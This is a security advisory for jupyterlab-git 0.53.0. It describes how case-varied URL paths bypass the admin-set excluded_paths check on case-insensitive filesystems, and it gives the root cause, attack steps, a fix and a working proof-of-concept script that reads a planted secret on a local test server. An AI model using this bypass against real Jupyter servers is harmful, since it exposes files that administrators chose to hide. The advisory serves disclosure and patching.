GHSA-436q-jwfr-rm2h

## Summary

`jupyterlab-git` 0.53.0 (latest, 2026-04-30) uses `fnmatch.fnmatchcase()` in `GitHandler.prepare()` (`jupyterlab_git/handlers.py:91`) to enforce the admin-configured `excluded_paths` security control. Because `fnmatchcase` is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting `/git/project/Secrets/...` instead of `/git/project/secrets/...` — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.

## Vulnerable Code

```python # jupyterlab_git/handlers.py:84-92 async def prepare(self): """Check if the path should be skipped""" await ensure_async(super().prepare()) path = self.path_kwargs.get("path") if path is not None: excluded_paths = self.git.excluded_paths for excluded_path in excluded_paths: if fnmatch.fnmatchcase(path, excluded_path): # ← always case-sensitive raise tornado.web.HTTPError(404) ```

## Root Cause

`fnmatch.fnmatchcase()` is unconditionally case-sensitive regardless of the operating system. Contrast with `fnmatch.fnmatch()` which normalizes via `os.path.normcase()` on case-insensitive platforms.

```python fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check ```

On macOS APFS and Windows NTFS, `/project/Secrets` and `/project/secrets` resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream `url2localpath()` resolves the case-varied path to the same filesystem location.

## Impact

An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured `excluded_paths` by varying the case of the URL path segment. This grants:

- Read file content at any git ref (`/content` endpoint) - Read working tree files in the excluded directory - View git status, log, diff on the excluded path - Enumerate commits touching excluded files

## Attack Scenario

1. Admin configures `c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]` 2. Normal request `POST /git/project/secrets/status` → HTTP 404 (blocked) 3. Attacker requests `POST /git/project/Secrets/status` → HTTP 200 (bypass) 4. Attacker reads secret: `POST /git/project/Secrets/content` with `{"filename": "./cred.txt", "reference": {"git": "HEAD"}}` → file content returned

## Exploit

See `poc.py`. Starts a real jupyter-server with jupyterlab-git loaded, configures `excluded_paths`, and demonstrates bypass + exfiltration via HTTP. ```python import json, os, shutil, subprocess, sys, tempfile, time import urllib.request, urllib.error

from jupyterlab_git.handlers import GitHandler # real import, no mock from jupyterlab_git_core.git import Git import jupyterlab_git_core

PORT = 18895 TOKEN = "xtoken" BASE_URL = f"http://127.0.0.1:{PORT}" SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"

def post(path_seg, endpoint, body=None): url = f"{BASE_URL}/git/{path_seg}{endpoint}" data = json.dumps(body or {}).encode() req = urllib.request.Request(url, data=data, method="POST", headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"}) try: resp = urllib.request.urlopen(req, timeout=10) return resp.status, json.loads(resp.read()) except urllib.error.HTTPError as e: return e.code, e.read().decode()

def main(): base_dir = tempfile.mkdtemp(prefix="jlgit_") workspace = os.path.join(base_dir, "workspace") repo_dir = os.path.join(workspace, "project") secret_dir = os.path.join(repo_dir, "secrets") os.makedirs(secret_dir)

with open(os.path.join(secret_dir, "cred.txt"), "w") as f: f.write(SECRET + "\n")

git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"} subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True) subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True) subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir, capture_output=True, check=True, env=git_env)

config_path = os.path.join(base_dir, "jupyter_server_config.py") with open(config_path, "w") as f: f.write(f'c.ServerApp.root_dir = "{workspace}"\n') f.write(f'c.ServerApp.token = "{TOKEN}"\n') f.write(f'c.ServerApp.open_browser = False\n') f.write(f'c.ServerApp.port = {PORT}\n') f.write(f'c.ServerApp.ip = "127.0.0.1"\n') f.write(f'c.ServerApp.disable_check_xsrf = True\n') f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')

env = os.environ.copy() env["JUPYTER_CONFIG_DIR"] = base_dir env["JUPYTER_DATA_DIR"] = base_dir proc = subprocess.Popen( [sys.executable, "-m", "jupyter_server", f"--config={config_path}", "--ServerApp.jpserver_extensions={'jupyterlab_git': True}"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)

for _ in range(30): try: req = urllib.request.Request(f"{BASE_URL}/api/status", headers={"Authorization": f"token {TOKEN}"}) if urllib.request.urlopen(req, timeout=2).status == 200: break except (urllib.error.URLError, OSError): pass time.sleep(0.5) else: proc.kill() shutil.rmtree(base_dir, ignore_errors=True) sys.exit("server failed to start")

try: # exclusion works code, _ = post("project/secrets", "/status") blocked = code == 404

# bypass code, _ = post("project/Secrets", "/status") bypassed = code == 200

# exfiltrate code, body = post("project/Secrets", "/content", {"filename": "./cred.txt", "reference": {"git": "HEAD"}}) content = body.get("content", "") if isinstance(body, dict) else "" exfiltrated = SECRET in content

ok = blocked and bypassed and exfiltrated print(f"exclusion enforced (lowercase): {blocked}") print(f"bypass (case-varied): {bypassed}") print(f"secret exfiltrated: {exfiltrated}") print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}") return ok

finally: proc.terminate() proc.wait(timeout=5) shutil.rmtree(base_dir, ignore_errors=True)

if __name__ == "__main__": sys.exit(0 if main() else 1)

```

```bash pip install 'jupyterlab-git==0.53.0' python poc.py ``` <img width="686" height="146" alt="image" src="https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625" />

## Fix

```python if fnmatch.fnmatch(path.lower(), excluded_path.lower()): raise tornado.web.HTTPError(404) ```

Or apply `os.path.normcase()` to both operands before comparison.